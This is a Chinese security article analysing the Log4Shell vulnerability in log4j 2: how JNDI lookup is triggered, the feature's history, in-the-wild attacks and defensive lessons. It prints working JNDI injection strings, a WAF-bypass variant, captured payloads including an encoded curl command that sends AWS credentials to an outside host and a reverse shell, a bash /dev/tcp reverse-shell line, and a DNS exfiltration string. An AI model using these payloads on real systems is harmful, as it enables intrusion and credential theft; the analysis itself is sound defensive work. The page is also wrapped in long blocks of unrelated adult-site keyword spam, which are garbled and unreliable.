精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Ghost in the Log4Shell

安全 應用安全 漏洞
作為一個冷眼旁觀的安全工作者,筆者并不急于站隊,注意力則放在搜集和整理關于 Log4Shell 的各種或有趣,或有價值的事實和知識上。

多年以后,面對加班的夜晚,Volkan Yazıcı 一定會回憶起發生在 2021 年底的這件事情,除了沒日沒夜的工作和無休止的解釋以外,當然也少不了人們的憤怒和對他的謾罵。一不小心就見證歷史的,除了 log4j 的作者們,還有我們所有人。

起初,大家都度過了一個黑客狂歡,吃瓜群眾玩梗,開發們加班的周末,以為這可能是又一次“心臟出血”或者“永恒之藍”。隨著事情愈演愈烈,影響愈來愈大,現在大家都應該認識到,這個漏洞比心臟出血要嚴重得多。比如 CISA 的官員稱其為從業以來最嚴重的漏洞(之一),log4j 的修復也導致短短兩周內升了三個大版本(目前只有最新的 2.17.0 被認為是沒有問題的)。所以朋友們,不要懷疑,這絕對是一個有生之年系列。

核彈級漏洞 Log4Shell

漏洞本體 log4j 2.x,編號 CVE-2021-44228,滿分10分,花名 Log4Shell。

Log4Shell 之所以被稱之為一個核彈級漏洞,是因為它具有以下這些特征:

  • 廣泛性:大(海)量 Java 應用都依賴于 log4j 2,log4j 是事實上的日志標準。而 Java 本身的跨平臺特性,使得所有主流操作系統包括各種運行 Java 的嵌入式設備都受到影響。
  • 嚴重性:從花名 Log4Shell 就可以看出來,它是一個 RCE 漏洞,也就是遠程代碼執行漏洞。這是所有漏洞中級別最高的一種。
  • 易利用性:該漏洞默認開啟,攻擊面廣,攻擊渠道多,攻擊效果穩定,攻擊條件易滿足,簡單來講,對攻擊者非常友好。堪稱腳本小子的入門級漏洞。
  • 長期性:因為 Log4Shell 具有明顯的供應鏈攻擊特點,并且對于數量龐大的企業資產來說,確定影響范圍非常非常非常困難。保守估計,log4j 的負面影響至少需要半年時間來緩解。

眾說紛紜

距離漏洞爆出來已經過了三周,關于漏洞的討論已然鋪天蓋地,審美疲勞。這其中,有安全廠商第一時間出來提供緩解措施和修復建議,有云計算和安全廠商趁熱打鐵推銷他們的 WAF 或者其它安全產品;有很多的安全工作者在社交媒體上分享博客和文章,分析漏洞原理,科普安全知識;有開發人員質疑 log4j 的作者設計不當,莫名其妙,難辭其咎,也有開發人員對此表示理解,認為如今開源難做,重要而基礎的組件全是免費維護,而一毛不拔的大廠才是罪惡根源。

作為一個冷眼旁觀的安全工作者,筆者并不急于站隊,注意力則放在搜集和整理關于 Log4Shell 的各種或有趣,或有價值的事實和知識上。對于開發人員來說,第一要務是盡快修復自己的產品和代碼,但是忙碌之余,是不是也好奇除了這些無聊的升級和修復以外,關于 Log4Shell,還有哪些你需要知道的事情呢。

漏洞細節

以下代碼對于 log4j (< 2.15.0),默認會觸發這個漏洞:

  1. public class App { 
  2.  private static final Logger logger = LogManager.getLogger(App.class); 
  3.  public static void main(String[] args) { 
  4.      logger.error("${jndi:ldap://attacker.com/x}"); 
  5.  } 

我們執果索因,先來直擊漏洞觸發時的調用棧:

  1. JndiLookup.lookup(LogEvent,String) (JndiLookup.class:51) 
  2. Interpolator.lookup(LogEvent,String) (Interpolator.class:223) 
  3. StrSubstitutor.resolveVariable(LogEvent,String,StringBuilder,int,int) (StrSubstitutor.class:1116) 
  4. StrSubstitutor.substitute(LogEvent,StringBuilder,int,int,List) (StrSubstitutor.class:1038) 
  5. StrSubstitutor.substitute(LogEvent,StringBuilder,int,int) (StrSubstitutor.class:912) 
  6. StrSubstitutor.replace(LogEvent,String) (StrSubstitutor.class:467) 
  7. MessagePatternConverter.format(LogEvent,StringBuilder) (MessagePatternConverter.class:132) 
  8. PatternFormatter.format(LogEvent,StringBuilder) (PatternFormatter.class:38) 
  9. PatternLayout$PatternSerializer.toSerializable(LogEvent,StringBuilder) (PatternLayout.class:345) 
  10. PatternLayout.toText(AbstractStringLayout$Serializer2,LogEvent,StringBuilder) (PatternLayout.class:244) 
  11. PatternLayout.encode(LogEvent,ByteBufferDestination) (PatternLayout.class:229) 
  12. PatternLayout.encode(Object,ByteBufferDestination) (PatternLayout.class:59) 
  13. AbstractOutputStreamAppender.directEncodeEvent(LogEvent) (AbstractOutputStreamAppender.class:197) 
  14. AbstractOutputStreamAppender.tryAppend(LogEvent) (AbstractOutputStreamAppender.class:190) 
  15. AbstractOutputStreamAppender.append(LogEvent) (AbstractOutputStreamAppender.class:181) 
  16. AppenderControl.tryCallAppender(LogEvent) (AppenderControl.class:156) 
  17. AppenderControl.callAppender0(LogEvent) (AppenderControl.class:129) 
  18. AppenderControl.callAppenderPreventRecursion(LogEvent) (AppenderControl.class:120) 
  19. AppenderControl.callAppender(LogEvent) (AppenderControl.class:84) 
  20. LoggerConfig.callAppenders(LogEvent) (LoggerConfig.class:543) 
  21. LoggerConfig.processLogEvent(LogEvent,LoggerConfig$LoggerConfigPredicate) (LoggerConfig.class:502) 
  22. LoggerConfig.log(LogEvent,LoggerConfig$LoggerConfigPredicate) (LoggerConfig.class:485) 
  23. LoggerConfig.log(String,String,StackTraceElement,Marker,Level,Message,Throwable) (LoggerConfig.class:460) 
  24. AwaitCompletionReliabilityStrategy.log(Supplier,String,String,StackTraceElement,Marker,Level,Message,Throwable) (AwaitCompletionReliabilityStrategy.class:82) 
  25. Logger.log(Level,Marker,String,StackTraceElement,Message,Throwable) (Logger.class:161) 
  26. AbstractLogger.tryLogMessage(String,StackTraceElement,Level,Marker,Message,Throwable) (AbstractLogger.class:2198) 
  27. AbstractLogger.logMessageTrackRecursion(String,Level,Marker,Message,Throwable) (AbstractLogger.class:2152) 
  28. AbstractLogger.logMessageSafely(String,Level,Marker,Message,Throwable) (AbstractLogger.class:2135) 
  29. AbstractLogger.logMessage(String,Level,Marker,String,Throwable) (AbstractLogger.class:2011) 
  30. AbstractLogger.logIfEnabled(String,Level,Marker,String,Throwable) (AbstractLogger.class:1983) 
  31. AbstractLogger.info(String) (AbstractLogger.class:1320) 
  32. App.main(String[]) (App.java:19) 

代碼執行到 jndiLookup.lookup 的時候觸發了這個漏洞。請注意以下幾個概念:

  • PatternLayout: 又叫模式布局,也就是形如 %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n 的模式,我們常常會在配置文件中用它定義日志格式。這其中 %msg 就是指代我們傳給 log.error 方法的內容。
  • Interpolator:Interpolator(插值器)是一種屬性占位符,而插值器會包含許多 StrLookup 對象,這些對象會在運行時通過調用 lookup 方法被替換成最終的值,比如 JNDI lookup。此外還有諸如 date, java, marker, ctx, lower, upper, main, jvmrunargs, sys, env, log4j這些 Lookup。所以你可以使用 ${jndi:key} 或者 ${env:key} 來替換 jndi 或者環境變量的內容,而且還支持嵌套。請參考 log4j 的文檔了解更多細節。

漏洞觸發的原因是因為 %msg 對應的 MessagePatternConvert 會使用 interpolator 來替換占位符,而 interpolator 默認包含 JNDI 的 lookup。這些可以很容易從上面的調用棧分析出來。一個有趣的事實就是不管有沒有這個漏洞,log4j 都比一個 system.out.println 要復雜和靈活更多 – 沒有了 JNDI,log4j 仍然支持大量的占位符替換,可以輕松訪問一些環境變量,一些上下文的狀態。從這個角度看,Log4Shell 終于把日志注入攻擊達到了大眾的視野中。

那為什么會有 JNDI 這個功能?

筆者猜想 90% 的開發人員了解以上這個漏洞細節后,心里肯定會罵一句臟話。原來 log4j 這濃眉大眼的這么狡猾啊,一直以為你是移動電話,沒想到還可以神不知鬼不覺地刮胡子啊。這恰恰是因為這個漏洞理解起來太容易,利用起來更容易,畢竟它是一個真正把 feature 做成了漏洞的范例。所以大家不禁要想這樣的功能是如何誕生的?請看這個 Jira issue,JNDI Lookup plugin support。

2013年7月,該功能(漏洞)首次被引入 log4j2。理由是:

“Currently, Lookup plugins [1] don't support JNDI resources.

It would be really convenient to support JNDI resource lookup in the configuration.

One use case with JNDI lookup plugin is as follows:

I'd like to use RoutingAppender [2] to put all the logs ?from the same web application context in a log file (a log file per web application context).

And, I want to use JNDI resources look up to determine the target route (similarly to JNDI context selector of logback [3]).

Determining the target route by JNDI lookup can be advantageous because we don't have to add any code to set properties for the thread context and JNDI lookup should always work even in a separate thread without copying thread context variables.”

主要是兩點,一個是方便(JNDI確實方便啊),一個為了和 logback 兼容。而且提需求的人很爽快地附帶了一個實現補丁。安全最大的敵人,方便和兼容都出現了。雖然最開始的場景是在配置文件里使用 JNDI,但是強大如 log4j 沒理由不能在每一條消息里面使用它。

JNDI 可謂是 Log4Shell 的靈魂,但是反過來卻不是。針對 JNDI 的攻擊存在了多年,它本身就是 Java 的重要攻擊向量。想要學習更多 JNDI 攻擊原理的同學可以參考 Blackhat 2016 的經典 talk -- A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land

并且結合 log4j 提供的各種 lookup 和 converter,針對 JNDI 的攻擊也誕生了各種變形(為了繞過 WAF 和檢測),比如 ${${lower:jnd${lower:i}}:xxx}。說到底,log4j 真的是太靈活了。

Java 日志庫的前世今生

2001 年,軟件開發者 Ceki Gulcu 設計了 log4j(v1)。后來 sun 也在 JDK 引入了一個叫做 Java Util Logging 的日志框架。不過始終都沒有 log4j1 那么強大和流行。因為日志庫變多了,于是 Apache 趁機推出了所謂的 Logging Facade – JCL(Jakarta Common Logging),可以動態綁定使用的日志庫。

2006 年,Ceki 離開 Apache 之后又開發了新的 Logging Facade,也就是我們現在熟知的 Slf4j(Simple Logging Facade for Java)以及各種橋接包(包括橋接 log4j )。再之后,Ceki 又開發了 Logback 作為 Slf4j 的默認實現。至此 Slf4j + Logback 就變成一個新的強大而靈活的組合。

到了 2012 年,Apache 決定開發一個新的 logging framwork 來和 Slf4j + logback 競爭,這就是我們的主角 log4j2,以 log4j-api + log4j2-core 的形式,而且也不兼容 log4j v1。

所以現在 Java logging framework 就分為兩大陣營了。

社區反應

Log4Shell 的影響太大,也波及了其它日志庫。所以有人為 Logback 提交了一個 commit,強調 logback 和 log4j2 沒有任何關系,不共享代碼所以也不共享漏洞

https://github.com/qos-ch/logback/commit/b810c115e363081afc70f8bf4ee535318c3a34e1

而 Spring 則專門發文強調,Spring Starter 默認 logging 組件是 logback,不是 log4j2,所以沒有這個漏洞

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

最后的最后,終于有人決定重新開始維護 log4j1 了

https://github.com/apache/logging-log4j1/commits/trunk

那我在用 log4j 1.x 我需要擔心 Log4Shell 嗎?

不需要。雖然 log4j 1.x 常年失修,疏于維護,但是不幸或者幸運的是,log4j1 并不會受到 Log4Shell 的影響。

非常非常的尷尬,一個自從 2012 年起就沒有維護的組件,一個包含有多個 CVE 常年居于各種掃描結果的榜首,但是卻因為一直找不到充分的攻擊證據,茍活在在各大企業的代碼庫中,這其中包括 Altassian 的全線產品。盡管 log4j1 的代碼行比較少,功能也很簡單,但是無論如何,經此一役,大家還是要認識到一個常年缺乏維護的基礎組件是多么的危險。

Android 設備會受到 Log4Shell 的影響嗎?

大概率不會。眾所周知,Android 也是運行在 Google 開發的 Java 虛擬機上,但是:

  • log4j 家族都不支持 Android,因為沒人移植
  • Android 自己已經自帶 logging 框架和相關基礎設施了

所以 Android OS 不會受到 Log4Shell 的影響,而 Android App,除非你自己移植了整個 log4j2 到 Android,否則答案也是 No。

Log4Shell 到底如何用來進行攻擊的?

早在 12 月 16 日,一些安全實驗室就已經捕捉到了一些野生 payload 用于真實的攻擊,比如:

  1. GET /$%7Bjndi:ldap://<redacted>/Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdzL2NyZWRlbnRpYWxzKSIgaHR0cHM6Ly9jNnRkNW1lMnZ0Y<redacted>%7D HTTP/1.1 
  2. Host:<redacted> 
  3. User-Agent: ${jndi:ldap://<redacted>/Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdz 
  1. GET / HTTP/1.0  
  2. User-Agent: borchuk/3.1 ${jndi:ldap://<redacted>:1389/Basic/ReverseShell/<redacted_ip>/9999}   
  3. Accept: */*  
  4. Bearer: ${jndi:ldap://<redacted>:1389/Basic/ReverseShell/<redacted_ip>/9999}  

這些 payload 都是用一個叫 JNDIExploit 的工具庫生成的,中文的,大家自便。而該工具是 1 年前創建的。這說明要利用 Log4Shell,經典的 JNDI + LDAP 攻擊就足夠了。

這一套 exploit 工具集支持多種攻擊,比如各種基于 tomcat,spring 和 weblogic 的 webshell 和反向 shell。比如這段代碼

https://github.com/zzwlpx/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java#L103 :

  1. mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"); 

就是一個經典的只依賴于 bash 來實現反彈 shell 的例子。

此外,一家叫做 Bitdefender 的安全公司利用蜜罐,發現了大量僵尸網絡(botnet)和蠕蟲病毒利用 Log4Shell 的證據。其中,叫做 Muhstik 的 botnet 是最早的一批。這些僵尸網絡的目的主要是感染機器并在機器上部署挖礦程序。

另外,一個叫 Curated Intel 的組織維護了一個 github 倉庫,專門用來記錄和匯總針對 Log4Shell 攻擊證據和分析。

除了 RCE 我們還需要擔心什么?

對于現在復雜的企業網絡來說,要真正實施一次 RCE 攻擊可能并不是那么容易。但是這次 Log4Shell 真正帶來的巨大影響的,就是所謂的 DNS out-of-band attack(帶外攻擊)。我們已經注意到,在 JNDI + LDAP 的注入字符串中,一般都會使用域名來指定服務器。于是,這里就存在一個經典的注入帶外攻擊場景 – 如果你對 DNS 協議熟悉的話 – 當一個不存在的域名第一次被解析時,它一定會被中間的 DNS 服務器反復往上游傳遞,直到它到達所謂的權威服務器,也就是域名的所有者。

我們以 "${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.somedomain.com/x}" 為例。當漏洞被觸發時,被攻擊的對象會嘗試去連接 LDAP 服務器。根據之前提到的 env Lookup,${env:AWS_ACCESS_KEY_ID} 會被替換成相應的環境變量(如果存在的話),然后一個形如 "xxxxxxxx.somedomain.com" 的 DNS 請求就會被發出去。因為一般來說,"xxxxxxxx.somedomain.com" 是不存在的,但是 somedomain.com 卻是存在并且被攻擊者控制。所以最后,關于 "xxxxxxxx.somedomain.com" 的一切最后,都會去到攻擊者的服務器去查詢。于是 AWS_ACCESS_KEY_ID 就被泄露了。

環境變量可以挖掘的信息實在太豐富,同時考慮到其它 log4j2 自帶的 Lookup,即便泄露不了太多敏感信息,也提供了大量信息搜集的機會 – 而這往往是真正攻擊前最重要的步驟。

而對于企業來說,部署 WAF 或者防火墻來防御 RCE 攻擊是可行的,但是對于 DNS 帶外攻擊,實施審計和阻斷卻非常不現實。你可以想象一下,當你需要訪問一個新的第三方服務時,不僅需要網絡保證暢通,還需要安全部門放行你的 DNS 請求。而企業 DNS 服務往往是一個中心化的服務,這樣實施的成本實在太高。

假設防火墻或者 WAF 沒有防御住 Log4Shell 攻擊,企業應該采取什么樣的策略進行補救?

假如通過日志和 WAF 記錄都沒有找到有效的信息來排查或者防御 Log4Shell 的攻擊,或許縱深防御的思路可以幫到一些忙。通過部署 EDR 系統,終端審計系統或者某種沙箱系統,我們可以很方便地監控和阻止一些特殊命令的執行和一些典型的惡意行為。比如,如果一個 Java 進程 fork 了叫做 curl 和 cmd.exe 的子進程,那么這無論如何都是可疑的。這種思路不僅可以應對 Log4Shell,也可以對付未來出現的各種 RCE 型漏洞。當然,要發揮這種策略的效果,一個能快速響應的安全流程和策略分發機制必不可少,同時一個完備的資產管理和威脅管理系統也必須建立起來。

后 Log4Shell 時代,我們應該如何應對

核彈級漏洞 Log4Shell(CVE-2021-44228)的影響必將是深遠的,不僅僅是當下肉眼可見的攻擊事件和損失數據,在相當長時間的將來我們都會被這次的陰影所籠罩 – 蠕蟲病毒和勒索軟件的肆虐,個人敏感數據的大量泄漏。但是真正籠罩在大家心頭的還是因為它給了我們軟件工業重重一擊 – 為什么如此明顯的漏洞存在于如此基礎的組件之中長達 7-8 年之久?說好的開源軟件更安全呢?我們的軟件工業到底怎么啦?

當我們說安全難做的時候,往往不是說安全漏洞隱藏的多深,也不是說安全專家的稀缺。身處軟件工業的我們,聽說過太多傳說中的攻防故事,但大抵是愿意相信能力越大責任越大的 – 如果一個漏洞難以發掘和利用,那么它的攻擊成本是很高的,不管是從攻擊面還是從攻擊技術看;如果一個漏洞攻擊簡單,利用方便,那么防御的難度也會降低。當我們說安全難做的時候,其實還是在說的是人的因素,是安全中最難控制的一環。當 log4j2 作為 Java 應用中事實上的標準,被用在海量應用中,其中包括了幾乎所有互聯網巨頭,但是只有兩位開發人員免費維護時,這房間中的大象就已經存在了。我想說這不是開源軟件出了問題,而是我們對開源軟件的理解有問題。沒有人維護的軟件,即使是開源的,也不應該被認為是安全的!

因此,Log4Shell 漏洞作為一個分水嶺,那么給后 Log4Shell 時代的我們的啟示有哪些呢?

  • 堅定不移的安全左移:想要通過使用和購買單獨的安全產品一次性解決問題的時代已經過去了,新時代的安全防御一定是個系統性方案,包括了架構,設計,開發,測試和運維。關鍵詞:SDLC,安全內建,DevSecOps
  • 系統監控和應急響應:Cloud Native 時代,大家逐漸認識到需要上云的不僅僅是業務和應用,整個系統的監控也是必不可少的。但是安全領域的監控現在還是相對落后,不僅體現在工具上也體現在意識上。迅速建立一個系統化的資產管理和監控系統是當務之急。關鍵詞:SIEM,態勢感知,依賴管理和可視化
  • 敏捷威脅建模:Log4Shell 的其中一個教訓是,不要相信任何用戶輸入,包括日志。過去我們做威脅建模,不管是 STRIDE 還是攻擊樹,往往只會把日志當成是敏感數據泄露的源頭,而不是攻擊的輸入。當我們反思為什么會漏掉這一環時,則恰恰說明了敏捷威脅建模的重要性。威脅建模不是一錘子買賣,它需要融入整個迭代中,這恰恰又印證了安全左移的理念。關鍵詞:敏捷威脅建模,資產分析,數據流可視化

【本文是51CTO專欄作者“ThoughtWorks”的原創稿件,微信公眾號:思特沃克,轉載請聯系原作者】

戳這里,看該作者更多好文

 

責任編輯:趙寧寧 來源: 51CTO專欄
相關推薦

2021-12-26 00:01:51

Log4Shell漏洞服務器

2021-12-15 06:21:29

Log4Shell漏洞網絡攻擊

2022-01-06 11:55:02

Aquatic PanLog4Shell漏洞

2021-12-17 09:50:21

Log4Shell漏洞勒索軟件

2022-01-14 19:12:07

勒索軟件攻擊漏洞

2022-04-27 11:51:20

CISALog4Shell漏洞

2022-01-10 09:30:33

Java漏洞漏洞網絡攻擊

2022-01-28 12:07:29

Log4j漏洞網絡攻擊

2021-12-16 09:44:22

勒索軟件漏洞 Log4Shell

2021-12-14 16:07:04

Log4Shell漏洞黑客

2021-12-21 06:14:10

漏洞勒索軟件攻擊

2021-12-22 09:54:48

黑客Log4Shell漏洞攻擊

2024-05-15 16:10:15

2021-12-14 15:54:07

Log4ShellKronos私有云

2021-12-21 11:45:24

Log4Shell漏洞主機安全

2021-12-28 07:32:56

Log4Shell軟件物料

2021-12-14 11:07:55

Log4ShellJNDI漏洞

2021-12-14 09:23:40

黑客漏洞網絡攻擊

2021-12-15 18:32:33

Log4Shell漏洞攻擊

2022-03-03 09:51:12

Log4j 漏洞網絡安全
點贊
收藏

51CTO技術棧公眾號

中文字幕av观看| 日本不卡一区| 欧美三根一起进三p| 99精品在免费线中文字幕网站一区 | 欧美激情欧美激情| 特大黑人巨人吊xxxx| 国产成人77亚洲精品www| 亚洲蜜桃精久久久久久久| 国产一区二区三区奇米久涩| 精品一区二区无码| 蜜臀久久精品| 国产综合色视频| 韩国欧美亚洲国产| 国产精品情侣呻吟对白视频| av亚洲一区| 午夜电影久久久| 一区二区成人在线视频| 久久久久999| 久久久久久久久久久免费视频| 中文字幕天堂av| 二区三区在线| 久久久一二三| 日韩在线播放av| 五月六月丁香婷婷| 黄在线免费看| 日韩欧美伦理| 日韩经典第一页| 爱情岛论坛亚洲自拍| 草民电影神马电影一区二区| 91视频免费看| 日韩av中文字幕一区二区| 欧美电影一区二区三区| 日韩av电影国产| 在线视频一二区| 国产精品亚洲一区二区三区在线观看| 国产日本一区二区| 91视频国产精品| 久久久久亚洲视频| av免费在线观| 国产成人高清视频| 国产精品视频一区二区高潮| 久久久久久久久97| 色综合咪咪久久网| 国产亚洲激情在线| 噜噜噜在线视频| 亚洲精品一区二区三区在线| 在线视频国产一区| 视色,视色影院,视色影库,视色网| 国产精品久久一区二区三区不卡 | 日韩av资源在线| 最新在线中文字幕| 性久久久久久| 久久久久久久久91| 一本在线免费视频| 欧美精品一区二区三区精品| 欧美成人国产一区二区| 另类小说第一页| 欧洲不卡av| 91免费小视频| 欧美亚洲另类激情另类| 四虎免费在线视频| 久久人人99| 精品国产欧美成人夜夜嗨| 欧美亚一区二区三区| www.丝袜精品| 日韩精品中文字幕一区二区三区| 欧美精品色视频| 黄视频免费在线看| 欧美午夜久久久| 无码人妻精品一区二区三区66| 日本精品裸体写真集在线观看| 91国在线观看| 洋洋av久久久久久久一区| 日韩暖暖在线视频| 三上悠亚在线观看视频| 婷婷丁香综合| 欧美乱妇高清无乱码| 日韩欧美视频免费观看| 欧洲杯半决赛直播| 日韩欧美精品中文字幕| 国产一线二线三线在线观看| 国产粉嫩在线观看| 一区二区三区在线观看动漫| 99re只有精品| 久久精品国产www456c0m| 日韩在线视频播放| 波多野结衣家庭教师| 精品电影一区| 欧美极品少妇xxxxⅹ免费视频 | 亚洲激情自拍偷拍| 日本免费成人网| 黄色在线免费| 五月天亚洲精品| 欧美精品二区三区四区免费看视频 | 亚洲一区二区三区视频播放| 欧美性一区二区三区| 九九热这里有精品视频| 亚洲毛片播放| 欧美精品videofree1080p| 亚洲另类在线观看| 国产精品自产自拍| 精品国产_亚洲人成在线| 福利在线午夜| 中文字幕巨乱亚洲| 日韩极品视频在线观看| 亚洲综合av一区二区三区| 欧美一级搡bbbb搡bbbb| 国产精品毛片一区二区| 在线观看国产精品入口| 国产成人激情小视频| 精品人妻午夜一区二区三区四区 | 麻豆亚洲一区| 黄色大片在线播放| 欧美性xxxxx极品| 交换做爰国语对白| 九九久久成人| 久久久久久国产精品| 亚洲视频久久久| 久久夜色精品一区| 男女激情免费视频| 国产精品一站二站| 中文字幕精品国产| 国产精品100| 福利一区福利二区| 福利网在线观看| 日本精品网站| 亚洲欧美三级在线| 91精品国产乱码久久久张津瑜| 国产一区二区三区精品视频| 午夜老司机精品| 一区二区三区短视频| 亚洲成人av在线播放| 农村黄色一级片| 久久99精品久久久久久动态图| 欧洲亚洲一区二区| 最近在线中文字幕| 日韩精品亚洲视频| 日韩黄色在线视频| 成人动漫视频在线| av片在线免费| 91在线一区| 久久久久久国产三级电影| www.成人免费视频| 一级女性全黄久久生活片免费| 天天干天天色天天干| 欧美高清视频在线观看mv| 国产美女搞久久| 自拍视频在线| 欧美日本国产一区| 国产稀缺精品盗摄盗拍| 国产专区综合网| 六月婷婷激情网| 一区二区三区亚洲变态调教大结局| 久久综合伊人77777蜜臀| 91尤物国产福利在线观看| 中文字幕日韩一区| 久久综合在线观看| 欧美激情第8页| 成人h视频在线观看| www.综合网.com| 亚洲国产精久久久久久| 在线能看的av| 国产亚洲欧美日韩日本| www.com黄色片| 亚洲精品小说| 国产精品一区在线观看| 天天综合av| 一区二区三区四区在线观看视频| 中文字幕在线网址| 亚洲啪啪综合av一区二区三区| 日本少妇一区二区三区| 在线视频观看日韩| 欧美日韩一区二区三区在线视频| 日韩pacopacomama| 日韩在线视频导航| 亚洲精品成人电影| 一本一道久久a久久精品| 国产福利在线导航| 国产精品99久久久久| 国产精品无码一区二区在线| 国产日产精品_国产精品毛片| 国产欧美亚洲视频| 日本小视频在线免费观看| 日韩av一卡二卡| 在线免费一级片| 图片区小说区区亚洲影院| 欧美熟妇激情一区二区三区| 国产一区二区导航在线播放| 欧美丰满熟妇bbbbbb百度| 日韩欧美网站| 国产精品制服诱惑| 欧美日韩视频免费看| 久久久久久久国产| av在线中文| 亚洲二区中文字幕| 91久久久久国产一区二区| 亚洲一区二区三区四区五区中文| 亚洲成人网在线播放| 国产在线视频不卡二| 极品美女扒开粉嫩小泬| 欧美独立站高清久久| 久久国产精品一区二区三区| 先锋影音一区二区| 欧洲午夜精品久久久| av观看在线| 这里只有精品在线观看| 污视频网站免费观看| 3d成人动漫网站| 69xxxx国产| 午夜国产精品影院在线观看| 成人在线观看高清| 久久精品亚洲一区二区三区浴池| 久久久精品视频国产| 日本麻豆一区二区三区视频| 日韩欧美国产综合在线| 香蕉综合视频| 五月天久久综合网| 亚洲瘦老头同性70tv| 97超碰在线播放| 日韩成人综合网站| 国产成人久久精品| 黄频免费在线观看| 欧美激情视频一区二区三区不卡| 色网站在线看| 在线视频精品一| 久久伊伊香蕉| 精品亚洲一区二区三区在线观看| www.看毛片| 91麻豆精品国产91久久久资源速度| 无码日韩精品一区二区| 欧美日韩激情网| 久久精品这里有| 亚洲黄色片在线观看| 中文字幕第69页| 日本一区二区动态图| 国产艳俗歌舞表演hd| caoporm超碰国产精品| 男人女人拔萝卜视频| 国产精品一区一区三区| 福利视频999| 激情久久久久久久久久久久久久久久| 青青在线免费观看视频| 久久久久免费| 黄色片一级视频| 老牛嫩草一区二区三区日本| 狠狠爱免费视频| 久久这里有精品15一区二区三区| 美女av免费在线观看| 亚洲综合电影一区二区三区| 成人一区二区免费视频| 国产欧美不卡| 男人日女人bb视频| 亚洲一区二区伦理| 苍井空浴缸大战猛男120分钟| 久久激情综合| 冲田杏梨av在线| 久久99久久精品| 天天操狠狠操夜夜操| 韩国精品一区二区| 黄色片免费网址| 高清不卡一二三区| 国产精品无码一区二区三区免费| 99视频一区二区| 天天躁日日躁狠狠躁免费麻豆| 国产成a人亚洲精| 国产精品无码一区二区三| 91一区二区三区在线观看| 亚洲精品一卡二卡三卡四卡| 久操精品在线| 一区二区三区四区欧美| 亚洲精品网址| 神马电影在线观看| **日韩最新| 国产在线视频91| 欧美另类激情| 亚洲一区中文字幕| 日韩精品一区二区三区中文| 尤物yw午夜国产精品视频| 欧美 中文字幕| 日韩精品综合一本久道在线视频| 国产情侣av在线| 亚洲国产精品va在看黑人| 午夜成人鲁丝片午夜精品| 日韩精品免费在线视频观看| 国产午夜在线观看| 久久精品夜夜夜夜夜久久| 黄网站免费在线播放| 午夜精品一区二区三区在线| 麻豆福利在线观看| 国产精品电影在线观看| 日韩中文字幕无砖| 日本免费高清一区| 欧美日韩a区| 亚洲午夜精品一区二区| 欧美日韩三级| 精品国产乱码久久久久久牛牛| 国产无套粉嫩白浆内谢的出处| 日韩av一区二区在线影视| 亚洲黄色a v| 韩国一区二区在线观看| 日本精品一二三| 中文字幕精品一区二区精品绿巨人| 九九九免费视频| 韩国精品一区二区| xxxx黄色片| 亚洲婷婷综合色高清在线| 极品色av影院| 精品国产31久久久久久| 亚洲天堂一区二区在线观看| 看电影就来5566av视频在线播放| 91黄色免费版| 日本人妻丰满熟妇久久久久久| 色系列之999| 无遮挡动作视频在线观看免费入口 | 久久久久999| 成人天堂yy6080亚洲高清| 国产精品久久久久久久久久久久冷| 成人av动漫在线观看| 日韩欧美精品免费| 黄色小说综合网站| 午夜精品www| 午夜在线小视频| 欧美成年人视频| 乱馆动漫1~6集在线观看| 国产色视频一区| 免费观看不卡av| 2021国产视频| 国产在线精品一区二区夜色 | 久久久久国产一区| 99re热这里只有精品免费视频| 懂色av粉嫩av浪潮av| 精品久久久香蕉免费精品视频| 国产精品综合在线| 在线观看免费高清视频97| 亚洲一级少妇| 国产精品美腿一区在线看| 99视频有精品高清视频| 日本在线观看不卡| 免费永久网站黄欧美| 日本不卡视频一区| 午夜精品久久久久久| 亚洲国产www| 91官网在线观看| 欧美视频综合| 国产成人精品久久二区二区91| 欧美电影免费网站| 午夜在线视频免费观看| 国内精品视频一区二区三区八戒| 91麻豆精品久久毛片一级| 欧美日韩在线播| 欧美激情黑人| 国产91精品一区二区麻豆网站 | 国产精品久久激情| 欧美人与牛zoz0性行为| 自慰无码一区二区三区| 看国产成人h片视频| 国产福利精品一区二区三区| 亚洲免费在线视频一区 二区| 精品黑人一区二区三区在线观看| 欧美高清在线播放| 久久aimee| aaaaaa亚洲| 国产精品丝袜黑色高跟| 一起草av在线| 国产婷婷成人久久av免费高清| 天天摸天天碰天天爽天天弄| 2019日本中文字幕| 最新亚洲精品| 国产美女主播在线| 国产在线视频一区二区| 国产一级片免费| 亚洲欧美一区二区精品久久久| 第四色男人最爱上成人网| 一区二区91美女张开腿让人桶| 美腿丝袜亚洲一区| 波多野结衣家庭教师| 日韩av在线免费看| 欧美黑人巨大xxxxx| 亚洲欧洲日夜超级视频| 视频一区二区中文字幕| 肉色超薄丝袜脚交69xx图片| 日韩午夜在线观看视频| 黄色成年人视频在线观看| 国产精品三区www17con| 久久精品人人做人人爽电影蜜月| 免费福利视频网站| 日韩欧美电影一区| 综合日韩av| 国产精品无码电影在线观看| 2023国产精品视频| 国产哺乳奶水91在线播放| 91精品免费在线| 欧类av怡春院| 亚洲国产成人av网| 日本视频在线观看一区二区三区| 日本不卡视频在线播放| 九九热精品视频在线观看| 精品中文字幕av| 一级日本不卡的影视| 91涩漫在线观看|